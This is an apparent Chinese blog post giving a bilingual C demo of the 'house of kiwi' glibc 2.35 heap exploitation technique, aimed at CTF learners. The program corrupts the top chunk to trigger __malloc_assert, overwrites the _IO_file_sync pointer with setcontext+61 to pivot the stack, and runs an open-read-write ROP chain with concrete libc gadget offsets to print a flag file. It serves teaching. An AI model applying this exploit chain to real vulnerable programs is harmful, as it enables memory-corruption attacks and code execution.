这是笔者写的house of kiwi示例程序，需要在ubuntu 22.04上编译运行。本程序改编自https://www.anquanke.com/post/id/235598的demo程序，其中说明了house of kiwi的利用流程。house of kiwi的利用与house of emma类似，利用链更短，也更好理解一些。
若程序在运行过程中出现任何非预期情况，请及时与笔者联系，以便及时进行修改。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#define pop_rdi_ret libc_base + 0x000000000002a3e5
#define pop_rdx_r12 libc_base + 0x000000000011f497
#define pop_rsi_ret libc_base + 0x000000000002be51
#define pop_rax_ret libc_base + 0x0000000000045eb0
#define syscall_ret libc_base + 0x0000000000091396
#define ret pop_rdi_ret+1
size_t libc_base;
size_t ROP[0x30];
char FLAG[0x100] = "./flag\x00";
int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);
puts("\033[32mHello there! Today let's learn something about house of kiwi.\033[0m");
puts("\033[32m本程序演示house of kiwi的利用流程。\033[0m");
puts("\033[1;32mModified from demo in https://www.anquanke.com/post/id/235598.\033[0m");
puts("\033[1;32m改编自https://www.anquanke.com/post/id/235598的demo程序。\033[0m");
puts("\033[1;31mTested in Ubuntu 22.04, glibc version: Ubuntu GLIBC 2.35-0ubuntu3.1\033[0m");
puts("\033[1;31m测试环境：Ubuntu 22.04，glibc版本为2.35-0ubuntu3.1\033[0m");
puts("\033[32mFirst let's make clear how to exploit.\033[0m");
puts("\033[32m首先让我们搞清楚这种利用方式是如何工作的。\033[0m");
puts("\033[32mSame as house of emma, house of kiwi has a stable call chain.\033[0m");
puts("\033[32m与house of emma相同，house of kiwi有一条稳定的函数调用链。\033[0m");
puts("\033[32mIt started with function sysmalloc, which can be triggered when we need top chunk.\033[0m");
puts("\033[32m这条调用链开始于sysmalloc函数，可以通过向top chunk分配chunk来触发该函数。\033[0m");
puts("\033[32mIn function sysmalloc, there is a check for page alignment of top chunk: \n\033[0m");
puts("\033[32m在函数sysmalloc中，有一个检查top chunk页对齐的代码片段: \033[0m");
puts("\033[33m(line 2617, /malloc/malloc.c)\033[0m");
puts("\033[34m assert ((old_top == initial_top (av) && old_size == 0) ||\n"
" ((unsigned long) (old_size) >= MINSIZE &&\n"
" prev_inuse (old_top) &&\n"
" ((unsigned long) old_end & (pagesize - 1)) == 0));\n\033[0m");
puts("\033[32mThe function assert here in malloc.c is a bit different from that in other file.\033[0m");
puts("\033[32m这个malloc.c中的assert函数与其他文件中的函数不太一样。\033[0m");
puts("\033[32mBecause in malloc.c there is a #define statement: \033[0m");
puts("\033[32m因为在malloc.c中有一个#define语句: \n\033[0m");
puts("\033[33m(line 292, /malloc/malloc.c)\033[0m");
puts("\033[34m# define __assert_fail(assertion, file, line, function)\t\t\t\\\n"
"\t __malloc_assert(assertion, file, line, function)\n\033[0m");
puts("\033[32mSo that if the assertion in malloc.c failed, it will call function __malloc_assert.\033[0m");
puts("\033[32m所以如果这个检查失败了，那么它就会调用__malloc_assert.\033[0m");
puts("\033[32mThe content of function __malloc_assert is: \033[0m");
puts("\033[32m__malloc_assert函数的内容为: \033[0m");
puts("\033[33m(line 297, /malloc/malloc.c)\033[0m");
puts("\033[34mstatic void\n"
"__malloc_assert (const char *assertion, const char *file, unsigned int line,\n"
"\t\t const char *function)\n"
"{\n"
" (void) __fxprintf (NULL, \"%s%s%s:%u: %s%sAssertion `%s' failed.\\n\",\n"
"\t\t __progname, __progname[0] ? \": \" : \"\",\n"
"\t\t file, line,\n"
"\t\t function ? function : \"\", function ? \": \" : \"\",\n"
"\t\t assertion);\n"
" fflush (stderr);\n"
" abort ();\n"
"}\033[0m\n");
puts("\033[32mWhile in function fflush, it will jump to a function, and that is our chance.\033[0m");
puts("\033[32m函数fflush中会跳转到另一个函数，这就是我们利用的机会。\033[0m");
puts("\033[32mLet's have a look at function fflush:\033[0m");
puts("\033[32m让我们看一下fflush的内容：\033[0m");
puts("\033[33m(line 33, /assert/assert.c)\033[0m");
puts("\033[34m#define fflush(s) _IO_fflush (s)\033[0m");
puts("\033[33m(line 30, /libio/iofflush.c)\033[0m");
puts("\033[34mint\n"
"_IO_fflush (FILE *fp)\n"
"{\n"
" if (fp == NULL)\n"
" return _IO_flush_all ();\n"
" else\n"
" {\n"
" int result;\n"
" CHECK_FILE (fp, EOF);\n"
" _IO_acquire_lock (fp);\n"
" \033[1;31mresult = _IO_SYNC (fp) ? EOF : 0;\033[34m\n"
" _IO_release_lock (fp);\n"
" return result;\n"
" }\n"
"}\033[0m");
puts("\033[32mPlease pay attention to the red code, here is its disassembly result:\033[0m");
puts("\033[32m注意标红的代码，下面是这段代码的反汇编结果（pwndbg调试界面部分截取）\033[0m");
puts("\033[34m 0x7ffff7e00208 <__GI__IO_fflush+88>:\t\033[1;31mlea rdx,[rip+0x1967f1] # 0x7ffff7f96a00 <_IO_helper_jumps>\033[34m\n"
" 0x7ffff7e0020f <__GI__IO_fflush+95>:\tlea rax,[rip+0x197552] # 0x7ffff7f97768\n"
" 0x7ffff7e00216 <__GI__IO_fflush+102>:\tsub rax,rdx\n"
" 0x7ffff7e00219 <__GI__IO_fflush+105>:\tmov rcx,rbp\n"
" 0x7ffff7e0021c <__GI__IO_fflush+108>:\tsub rcx,rdx\n"
" 0x7ffff7e0021f <__GI__IO_fflush+111>:\tcmp rax,rcx\n"
" 0x7ffff7e00222 <__GI__IO_fflush+114>:\tjbe 0x7ffff7e00268 <__GI__IO_fflush+184>\n"
" 0x7ffff7e00224 <__GI__IO_fflush+116>:\tmov rdi,rbx\n"
" 0x7ffff7e00227 <__GI__IO_fflush+119>:\t\033[1;31mcall QWORD PTR [rbp+0x60]\033[34m\n"
" 0x7ffff7e0022a <__GI__IO_fflush+122>:\tneg eax\n"
" 0x7ffff7e0022c <__GI__IO_fflush+124>:\tsbb r12d,r12d\n"
" 0x7ffff7e0022f <__GI__IO_fflush+127>:\ttest DWORD PTR [rbx],0x8000\n"
" 0x7ffff7e00235 <__GI__IO_fflush+133>:\tjne 0x7ffff7e00258 <__GI__IO_fflush+168>\n"
" 0x7ffff7e00237 <__GI__IO_fflush+135>:\tmov rdi,QWORD PTR [rbx+0x88]\n"
" 0x7ffff7e0023e <__GI__IO_fflush+142>:\tmov eax,DWORD PTR [rdi+0x4]\n"
" 0x7ffff7e00241 <__GI__IO_fflush+145>:\tsub eax,0x1\n"
" 0x7ffff7e00244 <__GI__IO_fflush+148>:\tmov DWORD PTR [rdi+0x4],eax\n"
" 0x7ffff7e00247 <__GI__IO_fflush+151>:\tjne 0x7ffff7e00258 <__GI__IO_fflush+168>\n"
" 0x7ffff7e00249 <__GI__IO_fflush+153>:\tmov QWORD PTR [rdi+0x8],0x0\n\033[0m");
puts("\033[32mAs you can see, it calls [rbp+0x60], let's execute the code until there...\033[0m");
puts("\033[32m可以看到这里call了[rbp+0x60]，我们调试到这里看一下rbp的值...\033[0m");
puts("\033[1;33m R14 0x1000\n"
" R15 0xff\n"
"*RBP 0x7ffff7f97600 (_IO_file_jumps) ◂— 0x0\n"
"*RSP 0x7fffffffdc60 —▸ 0x7ffff7f9ac80 (main_arena) ◂— 0x0\n"
"*RIP 0x7ffff7e00227 (fflush+119) ◂— call qword ptr [rbp + 0x60]\n\033[0m");
puts("\033[32mThe rbp points to a struct called _IO_file_jumps, let's see what it looks like in IDA:\033[0m");
puts("\033[32mrbp指向了一个名为_IO_file_jumps的结构，看一下它在IDA中的内容：\033[0m");
puts("\033[34m__libc_IO_vtables:0000000000216600 _IO_file_jumps dq 0 ; DATA XREF: LOAD:0000000000014598↑o\n"
"__libc_IO_vtables:0000000000216600 ; sub_29CA0+B↑o ...\n"
"__libc_IO_vtables:0000000000216608 dq 0\n"
"__libc_IO_vtables:0000000000216610 dq offset _IO_file_finish\n"
"__libc_IO_vtables:0000000000216618 dq offset _IO_file_overflow\n"
"__libc_IO_vtables:0000000000216620 dq offset _IO_file_underflow\n"
"__libc_IO_vtables:0000000000216628 dq offset _IO_default_uflow\n"
"__libc_IO_vtables:0000000000216630 dq offset _IO_default_pbackfail\n"
"__libc_IO_vtables:0000000000216638 dq offset _IO_file_xsputn\n"
"__libc_IO_vtables:0000000000216640 dq offset sub_8B330\n"
"__libc_IO_vtables:0000000000216648 dq offset _IO_file_seekoff\n"
"__libc_IO_vtables:0000000000216650 dq offset sub_8E530\n"
"__libc_IO_vtables:0000000000216658 dq offset _IO_file_setbuf\n"
"\033[1;31m__libc_IO_vtables:0000000000216660 dq offset _IO_file_sync\033[34m\n"
"__libc_IO_vtables:0000000000216668 dq offset _IO_file_doallocate\n"
"__libc_IO_vtables:0000000000216670 dq offset _IO_file_read\n"
"__libc_IO_vtables:0000000000216678 dq offset _IO_file_write\n"
"__libc_IO_vtables:0000000000216680 dq offset _IO_file_seek\n"
"__libc_IO_vtables:0000000000216688 dq offset _IO_file_close\n"
"__libc_IO_vtables:0000000000216690 dq offset _IO_file_stat\n"
"__libc_IO_vtables:0000000000216698 dq offset sub_8F4A0\n"
"__libc_IO_vtables:00000000002166A0 dq offset sub_8F4B0\n"
"__libc_IO_vtables:00000000002166A8 align 20h\033[0m");
puts("\033[32mSo it actually calls the function _IO_file_sync.\033[0m");
puts("\033[32m因此这里实际上是在调用_IO_file_sync函数。\033[0m");
puts("\033[32mHouse of kiwi just changed the value there to anywhere we want.\033[0m");
puts("\033[32mhouse of kiwi实际上就是将这里的值进行修改。\033[0m");
puts("\033[32mIn CTF problems, we usually changed it into setcontext+61 to trigger stack pivoting.\033[0m");
puts("\033[32m在CTF赛题中，我们一般将这里的值修改为setcontext+61来触发栈迁移。\033[0m");
puts("\033[32mBut there is one thing to notice, if you use command 'vmmap' in pwndbg,\033[0m");
puts("\033[32m但这里有一点需要注意，如果在pwndbg中使用vmmap命令，\033[0m");
puts("\033[32mYou will find that the page where _IO_file_jumps is located in was not able to write.\033[0m");
puts("\033[32m你会发现_IO_file_jumps所在的页并不具有写权限（这一点笔者在其他有关house of kiwi的文章中并没有找到原因，不知为何）\033[0m");
puts("\033[32mSo we had better change the privilege of that page through function mprotect().\033[0m");
puts("\033[32m因此我们最好使用mprotect函数来修改一下这一页的访问权限。\033[0m\n");
puts("\033[32mThen, let's have a look at rdx, which is a key register for stack pivoting.\033[0m");
puts("\033[32m然后我们注意一下rdx寄存器的值，这是我们进行栈迁移的关键寄存器。\033[0m");
puts("\033[32mHave a look at disassembly result of function setcontext: \033[0m");
puts("\033[32m看一下setcontext函数的汇编: \033[0m");
puts("\033[34m.text:0000000000053A6D \033[1;31mmov rsp, [rdx+0A0h]\033[34m\n"
".text:0000000000053A74 mov rbx, [rdx+80h]\n"
".text:0000000000053A7B mov rbp, [rdx+78h]\n"
".text:0000000000053A7F mov r12, [rdx+48h]\n"
".text:0000000000053A83 mov r13, [rdx+50h]\n"
".text:0000000000053A87 mov r14, [rdx+58h]\n"
".text:0000000000053A8B mov r15, [rdx+60h]\n"
".text:0000000000053A8F test dword ptr fs:48h, 2\n"
".text:0000000000053A9B jz loc_53B56\n"
"\t\t\t......\n"
".text:0000000000053B56 \033[1;31mmov rcx, [rdx+0A8h]\033[34m\n"
".text:0000000000053B5D \033[1;31mpush rcx\033[34m\n"
".text:0000000000053B5E mov rsi, [rdx+70h]\n"
".text:0000000000053B62 mov rdi, [rdx+68h]\n"
".text:0000000000053B66 mov rcx, [rdx+98h]\n"
".text:0000000000053B6D mov r8, [rdx+28h]\n"
".text:0000000000053B71 mov r9, [rdx+30h]\n"
".text:0000000000053B75 mov rdx, [rdx+88h]\n"
".text:0000000000053B75 ; } // starts at 53A30\n"
".text:0000000000053B7C ; __unwind {\n"
".text:0000000000053B7C xor eax, eax\n"
".text:0000000000053B7E retn\033[0m");
puts("\033[32mYou can see the rsp was changed into [rdx+0xA0]\033[0m");
puts("\033[32m你可以看到rsp被修改为[rdx+0xA0]的值。\033[0m");
puts("\033[32mWhen calling _IO_file_sync, the value of rdx is actually the address of _IO_helper_jumps.\033[0m");
puts("\033[32m在call _IO_file_sync时，rdx的值实际上是_IO_helper_jumps的地址。\033[0m");
puts("\033[32mThis value is stable and it's right above _IO_file_jumps:\033[0m");
puts("\033[32m这个值是稳定不变的，实际上这个结构体的地址就在_IO_file_jumps前面一点:\033[0m");
puts("\033[34m__libc_IO_vtables:0000000000215A00 qword_215A00 dq 0 ; DATA XREF: sub_45390+1A3↑o\n"
"__libc_IO_vtables:0000000000215A00 ; sub_5A980+1643↑o ...\n"
"__libc_IO_vtables:0000000000215A08 dq 0\n"
"__libc_IO_vtables:0000000000215A10 dq offset _IO_default_finish\n"
"__libc_IO_vtables:0000000000215A18 dq offset sub_722E0\n"
"__libc_IO_vtables:0000000000215A20 dq offset sub_8DDD0\n"
"__libc_IO_vtables:0000000000215A28 dq offset _IO_default_uflow\n"
"......\033[0m\n");
puts("\033[32mSo that we need to change the value of [rdx+0xA0] and [rdx+0xA8] to complete ROP chain.\033[0m");
puts("\033[32m因此我们需要修改[rdx+0xA0]和[rdx+0xA8]的值来构建ROP链。\n\033[0m");
puts("\033[32mNow we are going to have a try.\033[0m");
puts("\033[32m现在就让我们来演示一下。\033[0m");
puts("\033[32mFirst we get the libc base through function setvbuf, which has the offset of 0x81670 in this libc.\033[0m");
puts("\033[32m首先我们通过setvbuf函数获取libc加载基址，setvbuf函数在本libc中的偏移为0x81670。\033[0m");
libc_base = ((size_t)setvbuf) - 0x81670;
printf("\033[1;31mLIBC: %#lx\n\033[0m", libc_base);
printf("\033[32mThen we use mprotect function to add write privilege in address %p to %p.\n\033[0m",
(void*)(libc_base + 0x215000), (void*)(libc_base + 0x217000));
printf("\033[32m然后我们将 %p 到 %p 的地址空间添加写权限。\n\033[0m",
(void*)(libc_base + 0x215000), (void*)(libc_base + 0x217000));
mprotect((void*)(libc_base + 0x215000), 0x2000, PROT_READ | PROT_WRITE);
size_t magic_gadget = libc_base + 0x53A30 + 61; // setcontext + 61
printf("\033[1;32mThen we get address of setcontext+61, which has offset of 0x53A30 + 61: %#zx\n\033[0m", magic_gadget);
printf("\033[1;32m然后我们获取到setcontext+61的地址，其相对于libc基址的偏移为0x53A30 + 61: %#zx\n\033[0m", magic_gadget);
size_t _IO_helper_jumps = libc_base + 0x215A00; // _IO_helper_jumps
printf("\033[1;32mNext is the address of _IO_helper_jumps, which has offset of 0x215A00: %#zx\n\033[0m", _IO_helper_jumps);
printf("\033[1;32m接下来是_IO_helper_jumps的地址，其相对于libc基址的偏移为0x215A00: %#zx\n\033[0m", _IO_helper_jumps);
size_t _IO_file_sync = libc_base + 0x216660; // sync pointer in _IO_file_jumps
printf("\033[1;32mNext is the address of _IO_file_sync, which has offset of 0x216660: %#zx\n\033[0m", _IO_file_sync);
printf("\033[1;32m接下来是_IO_file_sync的地址，其相对于libc基址的偏移为0x216660: %#zx\n\033[0m", _IO_file_sync);
puts("\033[32mThen let's construct our ROP chain of orw. The ROP chain will be placed in bss segment.\033[0m");
puts("\033[32m然后我们就来构造ROP链，用于orw。ROP链会放在bss段中。\033[0m");
puts("\033[32mUseful gadgets:\033[0m");
puts("\033[32m有用的gadget：（不同libc下的偏移可能不同，如果在不同libc下测试注意修改）\033[0m");
printf("\033[1;31mpop rax ; ret: %#zx\n\033[0m", pop_rax_ret);
printf("\033[1;31mpop rdi ; ret: %#zx\n\033[0m", pop_rdi_ret);
printf("\033[1;31mpop rsi ; ret: %#zx\n\033[0m", pop_rsi_ret);
printf("\033[1;31msyscall ; ret: %#zx\n\033[0m", syscall_ret);
printf("\033[1;31mpop rdx ; pop r12 ; ret: %#zx\n\n\033[0m", pop_rdx_r12);
uint32_t i = 0;
ROP[i++] = pop_rax_ret;
ROP[i++] = 2;
ROP[i++] = pop_rdi_ret;
ROP[i++] = (size_t)FLAG;
ROP[i++] = pop_rsi_ret;
ROP[i++] = 0;
ROP[i++] = syscall_ret;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 3;
ROP[i++] = pop_rdx_r12;
ROP[i++] = 0x100;
ROP[i++] = 0;
ROP[i++] = pop_rsi_ret;
ROP[i++] = (size_t)(FLAG + 0x10);
ROP[i++] = (size_t)read;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 1;
ROP[i++] = (size_t)write;
puts("\033[32mROP chain constructed, then we need to change the value of [rdx+0xA0] and [rdx+0xA8].\033[0m");
puts("\033[32mROP链构造完成，下面我们需要修改[rdx+0xA0]和[rdx+0xA8]的值了。\033[0m");
puts("\033[32mWe need to let [_IO_helper_jumps+0xA0] = ROP chain address, and [_IO_helper_jumps+0xA8] = address of instruction \"ret\"\033[0m");
puts("\033[32m我们需要让[_IO_helper_jumps+0xA0]等于ROP链的地址，[_IO_helper_jumps+0xA8]等于一条ret指令的地址。\"ret\"\033[0m");
puts("\033[32mThis is basic knowledge you need to know when using setcontext to pivot your stack.\033[0m");
puts("\033[32m这是使用setcontext进行栈迁移的基本操作。\033[0m");
*((size_t*)_IO_helper_jumps + 0xA0/8) = (size_t)ROP; // 设置rsp
*((size_t*)_IO_helper_jumps + 0xA8/8) = ret; // 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
puts("\033[32mThen we let _IO_file_sync pointer = setcontext + 61.\033[0m");
puts("\033[32m然后我们让_IO_file_sync指针的值等于setcontext+61，以触发栈迁移。\033[0m");
*((size_t*)_IO_file_sync) = magic_gadget; // 设置fflush(stderr)中调用的指令地址
// 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
puts("\033[32mNext we need to change the size of top chunk to let the assert fail.\033[0m");
puts("\033[32m然后我们修改top chunk的大小让断言失败。\033[0m");
size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
*top_size = (*top_size)&0xFFE; // top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中,其中有个判断top_chunk的size中inuse位是否存在
puts("\033[32mThe last step: malloc a big space.\033[0m");
puts("\033[32m最后一步：malloc一块大空间。\033[0m");
malloc(0x1000); // 触发assert
_exit(-1);
}
629
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
